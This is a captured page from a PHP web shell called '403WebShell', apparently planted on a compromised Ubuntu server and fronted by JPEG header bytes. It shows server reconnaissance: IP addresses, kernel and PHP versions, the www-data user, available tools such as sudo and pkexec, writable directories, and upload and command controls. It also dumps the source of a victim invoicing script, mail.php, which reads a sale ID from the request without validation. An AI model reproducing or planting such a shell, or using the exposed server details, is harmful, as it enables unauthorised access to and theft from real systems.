����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 52.15.242.179
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/application/salesHonorarios4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/application/salesHonorarios4/mail.php
<?php
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");
//error_reporting(0);

include "../../appsae/core/autoload.php";
		include "../../appsae/core/app/model/ProductData.php";
		include "../../appsae/core/app/model/OperationData.php";
		include "../../appsae/core/app/model/OperationTypeData.php";
		include "../../appsae/core/app/model/StockData.php";
		include "../../appsae/core/app/model/ConfigurationData.php";
		include "../../appsae/core/app/model/SellData.php";
		include "../../appsae/core/app/model/PersonData.php";
		include "../../appsae/core/app/model/MailData2.php";
// librerias para enviar correos


$sale_id= $_GET['sale_id'];
//obtenemos sell_id
$posSell=new pos();
$sell = $posSell->getlistSell($sale_id);


//print_r($sell[1]['id']);
$id = $sell[1]['id'];

//obtenemos los datos de facturacion
$posFact = new pos();
$posFact = $posFact->getByFacturaSellExistOK($id);
$emailok =  $posFact[1]['image'];
//print_r($posFact);



//obtenemos el detalle de ventas
$operations=new pos();
$cart = $operations->getOperations($sale_id);
//print_r($cart);


//obteneos el correo del cliente
	
	$subject = "[".$id."] Facturacion";
		$message = "<p>Se Genero una factura Id = ".$id."</p>";
		$person_th="";
		$person_td="";

		$person_th="<td>Proveedor</td>";
		$person_td="<td>Sistema de Facturacion AppSAE 4.4</td>";



		$message .= "<table border='1'><tr>
		<td>Id</td>
		$person_th
		<td>Almacen</td>
		<td>Estado de pago</td>
		<td>Estado de entrega</td>
		<td>Total</td>
		</tr>
<tr>
		<td>".$id."</td>
		$person_td
		<td>Inventario Principal</td>
		<td>Pagada</td>
		<td>Entregada</td>
		</tr>
		</table>";
		$message.="<h3 style='color:#333;'>Resumen</h3>";
		$message.="<table border='1'><thead><th>Id</th><th>Codigo</th><th>Cantidad</th><th>Producto</th><th>P.U</th><th>P. Total</th></thead>";
		foreach($cart[1] as  $operation){
			if($operation['item_name'] != null){
			$message.="<tr>";
				$message.="<td>".$operation['id_item']."</td>";
				$message.="<td>".$operation['barcode']."</td>";
				$message.="<td>".$operation['qty']."</td>";
				$message.="<td>".$operation['item_name']."</td>";
				$message.="<td>$ ".number_format($operation['price'],2,".",",")."</td>";
				$message.="<td>$ ".number_format($operation['price']*$operation['qty'],2,".",",")."</td>";
			$message.="</tr>";
			}
		}
		
		$message.="</table>";
//////////////////
		if($subject!=""&&$message!=""){
				$m = new MailData();
				$m->open();
			    $m->mail->Subject = $subject;
			    $m->message = "<p>$message</p>";
			    $m->mail->IsHTML(true);
				
				//enviar a destinatario
				$address_to = $emailok;
				 
				 if($address_to != ""){ 
				  $m->mail->AddAddress($address_to);
				}else{
				  $address_to =  ConfigurationData::getByPreffix("admin_email")->val;//
				  $m->mail->AddAddress($address_to);
				}
				
				//archivos adjuntos
				/*
				$archivo = '/var/www/html/sdk/timbrados/cfdi_factura_'.$id.'.pdf';
				$archivo2 = '/var/www/html/sdk/timbrados/cfdi_factura_'.$id.'.png';
				$archivo3 = '/var/www/html/sdk/timbrados/cfdi_factura_'.$id.'.xml';
				*/
				
				$archivo = 'c://xampp/htdocs/sdk2/timbrados/cfdi_factura_'.$id.'.pdf';
				$archivo2 = 'c://xampp/htdocs/sdk2/timbrados/cfdi_factura_'.$id.'.png';
				$archivo3 = 'c://xampp/htdocs/sdk2/timbrados/cfdi_factura_'.$id.'.xml';

				$m->mail->AddAttachment($archivo);
				$m->mail->AddAttachment($archivo2);
				$m->mail->AddAttachment($archivo3);
			    $m->send();
				
				
				//ACTUALIZAMOS VALOR DE ENVIO DE FACTURA EN TABLA 
				$pos = new pos();
				$updateFact = $pos->updateFacturaEmail($sale_id);
				print_r($updateFact);
					//echo $respuesta  = $updateFact[1];
			}



?>

<script type="text/javascript">
	setTimeout('window.close()',6000);
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit